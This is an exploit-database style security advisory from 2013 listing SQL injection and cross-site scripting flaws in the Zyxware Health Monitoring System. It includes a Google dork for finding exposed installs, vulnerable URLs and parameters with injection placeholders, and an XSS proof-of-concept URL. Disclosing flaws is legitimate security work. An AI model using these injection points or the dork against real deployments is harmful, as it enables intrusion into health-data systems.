Zyxware Health Monitoring System – Multiple Vulnerabilities
# Exploit Title: Zyxware Health Monitoring System Multiple Vulnerability # Google Dork: Inurl:maps/layers.php?bdywidth= (and more) # Date: 07 Sep 2013 # Vendor Homepage: http://www.zyxware.com/ # Software Link: https://github.com/zyxware/Zyxware-Health-Monitoring-System/ # Version: # Tested on: Win 7/Backtrack # CVE : # Exploit Author: Sarahma Security # Author Homepage: http://sarahma.co.id # Author Email: research@sarahma.co.id ======================== SQL Injection ======================== Found on http://localhost/healthmonitor/maps/diseaseinfo.php Parameter : strDiseaseName http://localhost/healthmonitor/maps/diseaseinfo.php?strDiseaseName=1'{SQLHERE} Found On http://localhost/healthmonitor/maps/summary.php Parameter : opt http://localhost/healthmonitor/maps/summary.php?opt=1'{SQL HERE}&type=Dist ======================== XSS Vulnerability ======================== Found On : http://localhost/healthmonitor/maps/diseaseinfo.php parameter : rightContent http://localhost/healthmonitor/maps/googlemap.php parameter : mapheight and mapwidth http://localhost/healthmonitor/maps/khmheading.php parameter : imageheight http://localhost/healthmonitor/maps/moreinfo.php parameter : rightContent http://localhost/healthmonitor/maps/summary.php parameter : opt and rightContent Example : http://localhost/healthmonitor/maps/khmheading.php?imageheight=0&imagePadding=%22%3Cscript%3E%20alert%28%27XSS%27%29%3C/script%3E ======================== Solution : ======================== No Solution Until This Advisory Published ======================== Timeline: ======================== 2013-09-03 Provided details vulnerability to vendor 2013-09-07 No Response From vendor 2013-09-08 Advisory published |